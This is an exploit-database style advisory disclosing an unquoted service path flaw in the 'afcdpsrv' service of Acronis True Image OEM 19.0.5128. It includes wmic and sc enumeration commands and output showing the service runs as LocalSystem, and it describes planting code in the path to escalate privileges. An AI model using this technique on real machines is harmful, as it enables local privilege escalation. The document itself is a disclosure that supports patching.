Acronis True Image OEM 19.0.5128 – ‘afcdpsrv’ Unquoted Service Path
# Exploit Title: Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path # Date: 2019-11-11 # Author: Alejandra Sánchez # Vendor Homepage: https://www.acronis.com # Software: ftp://supportdownload:supportdownload@ftp.kingston.com/AcronisTrueImageOEM_5128.exe # Version: 19.0.5128 # Tested on: Windows 10 # Description: # Acronis True Image OEM 19.0.5128 suffers from an unquoted search path issue impacting the service 'afcdpsrv'. This could potentially allow an # authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require # the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges # of the application. # Prerequisites # Local, Non-privileged Local User with restart capabilities # Details C:\>wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """ Acronis Nonstop Backup Service afcdpsrv C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe Auto C:\>sc qc afcdpsrv [SC] QueryServiceConfig SUCCESS SERVICE_NAME: afcdpsrv TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Acronis Nonstop Backup Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem |